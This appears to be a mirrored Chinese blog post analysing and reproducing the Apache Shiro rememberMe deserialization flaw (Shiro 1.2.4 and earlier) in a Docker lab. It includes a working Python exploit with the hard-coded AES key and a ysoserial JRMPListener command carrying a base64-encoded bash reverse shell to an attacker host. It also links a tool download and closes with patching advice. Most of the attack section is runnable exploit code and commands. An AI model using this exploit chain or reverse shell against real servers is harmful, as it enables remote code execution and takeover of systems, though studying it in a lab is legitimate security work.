zoukankan      html  css  js  c++  java
  • 25. Apache Shiro Java反序列化漏洞

    前言:

    最近在审核漏洞的时候,发现尽管Apache shiro这个反序列化漏洞爆出来好久了,但是由于漏洞特征不明显,并且shiro这个组件之前很少听说,导致大厂很多服务还存在shiro反序列化的漏洞,这里对漏洞进行简单分析与复现。

    一.漏洞前析

    0x01 什么是Apache Shiro?

    Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。

    0x02 漏洞的特征是什么?

    shiro反序列化的特征:在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段

    就像这样:

    0x03 漏洞影响

    只要rememberMe的AES加密密钥泄露,Apache Shiro <= 1.2.4版本均存在威胁

    二.漏洞简介

    0x01 漏洞发生的原因

    先看下shiro官网的漏洞说明:https://issues.apache.org/jira/browse/SHIRO-550

    大概意思是,shiro在登陆处提供了Remember Me这个功能,来记录用户登陆的凭证

    然后shiro使用了CookieRememberMeManager类对用户的登陆凭证,也就是remember Me的内容进行一系列处理:

    使用Java序列化 ---> 使用密钥进行AES加密 ---> Base64加密 ---> 得到加密后的remember Me内容

    同时在识别用户身份的时候,需要对remember Me的字段进行解密,解密的顺序为:

    remember Me加密内容 ---> Base64解密 ---> 使用密钥进行AES解密 --->Java反序列化

    问题出在AES加密的密钥Key被硬编码在代码里,这意味着攻击者只要通过源代码找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化,AES加密,Base64编码,然后将其作为cookie的remember Me字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。

    通过源码,果然找到了被硬编码在代码里的Key值:

    三.漏洞复现

    0x01 环境搭建

    这里使用docker进行环境搭建:https://github.com/Medicean/VulApps/tree/master/s/shiro/1

    1.拉取环境到本地
    $ docker pull medicean/vulapps:s_shiro_1
    2.启动环境 $ docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1

    上图即为搭建成功

    同时要编译生成ysoserial反序列化利用工具

    ysoserial是一款目前最流行的Java反序列化Payload生成工具,目前支持29种的Payload生成。

    git clone https://github.com/frohoff/ysoserial.git
    cd ysoserial
    mvn package -D skipTests

    即可生成ysoserial-0.0.6-SNAPSHOT-all.jar文件

    0x02 poc利用过程

    靶机ip:192.168.127.128

    攻击机ip:192.168.127.129

    大佬poc:shiro_poc.py:

    #coding: utf-8
    
    import os
    import re
    import base64
    import uuid
    import subprocess
    import requests
    import sys
    from Crypto.Cipher import AES
    
    JAR_FILE = './ysoserial-0.0.6-SNAPSHOT-all.jar'
    
    
    def poc(url, rce_command):
        if '://' not in url:
            target = 'https://%s' % url if ':443' in url else 'http://%s' % url
        else:
            target = url
        try:
            payload = generator(rce_command, JAR_FILE)  # 生成payload
            r = requests.get(target, cookies={'rememberMe': payload.decode()}, timeout=10)  # 发送验证请求
            print r.text
        except Exception, e:
            pass
        return False
    
    
    def generator(command, fp):
        if not os.path.exists(fp):
            raise Exception('jar file not found!')
        popen = subprocess.Popen(['java', '-jar', fp, 'JRMPClient', command],
                                 stdout=subprocess.PIPE)
        BS = AES.block_size
        pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
        key = "kPH+bIxk5D2deZiIxcaaaA=="
        mode = AES.MODE_CBC
        iv = uuid.uuid4().bytes
        encryptor = AES.new(base64.b64decode(key), mode, iv)
        file_body = pad(popen.stdout.read())
        base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
        return base64_ciphertext
    
    if __name__ == '__main__':
        poc("http://192.168.127.128:8080","192.168.127.129:1096")

    这里直接以getshell为例

    首先制作反弹shell的命令,使用http://www.jackson-t.ca/runtime-exec-payloads.html进行编码

    使用ysoserial中的JRMP监听模块,监听1096 端口

    这里介绍一下上面poc里面的JRMPClient与下面使用监听命令的JRMPListenter

    •  payloads/JRMPClient 是结合 exploit/JRMPListener 使用的
    • JRMPListener是ysoserial 工具里的其中一个利用模块,作用是通过反序列化,开启当前主机的一个 JRMP Server ,具体的利用过程是,将反序列化数据 发送到 Server 中,然后Server中进行反序列化操作,并开启指定端口,然后在通过JRMPClient去发送攻击 payload
    • payloads/JRMPClient 生存的 payload 是发送给目标机器的,exploit/JRMPListener 是在自己服务器上使用的
    • 超详细分析:https://xz.aliyun.com/t/2650

    我这里在攻击机上执行监听命令:

    java -cp ysoserial-0.0.6-SNAPSHOT-all.jar  ysoserial.exploit.JRMPListener 1096 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNy4xMjkvODg4OCAwPiYx}|{base64,-d}|{bash,-i}

     

    在要反弹到的机器上执行监听8888端口,静候shell

    执行poc:

    py -2 shiro_poc.py

     可以看到JRMP模块已经成功收到连接请求,同时也执行了我们的payload,shell弹了回来

    至此利用成功。

    这里提供工具下载包括

    • poc文件
    • ysoserial-0.0.6-SNAPSHOT-all.jar文件
    • 密钥硬编码文件shiro-core-1.2.4.jar

    链接:https://pan.baidu.com/s/175Zbe53ahIYese1rZCWFKg
    提取码:66p1 

    四.修补建议

    升级shiro到1.2.5及以上,如果shiro的rememberMe功能的AES密钥一旦泄露,就会导致反序列化漏洞。

    跟了shiro 1.3.2的代码,看到官方的操作如下:

    • 删除代码里的默认密钥
    • 默认配置里注释了默认密钥
    • 如果不配置密钥,每次会重新随机一个密钥

    可以看到并没有对反序列化做安全限制,只是在逻辑上对该漏洞进行了处理。
    如果在配置里自己单独配置AES的密钥,并且密钥一旦泄露,那么漏洞依然存在。

    参考链接:

           https://www.cnblogs.com/paperpen/p/11312671.html

           https://paper.seebug.org/shiro-rememberme-1-2-4/

           https://mp.weixin.qq.com/s/KkWL9SftCZSdkglW39Qw0Q

  • 相关阅读:
    objective-C 自定义对象归档的实现
    D3D游戏编程系列(一):DXLib的介绍
    再谈 retain,copy,mutableCopy(官方SDK,声明NSString都用copy非retain)
    uva 11292 Dragon of Loowater (勇者斗恶龙)
    【iOS开发】iOS7 兼容及部分细节
    QMenu的个性化定制
    基于Token的WEB后台认证机制
    Lua简易入门教程
    char,short ,int ,long,long long,unsigned long long数据范围
    用Kibana和logstash快速搭建实时日志查询、收集与分析系统
  • 原文地址:https://www.cnblogs.com/bmjoker/p/11650295.html
Copyright © 2011-2022 走看看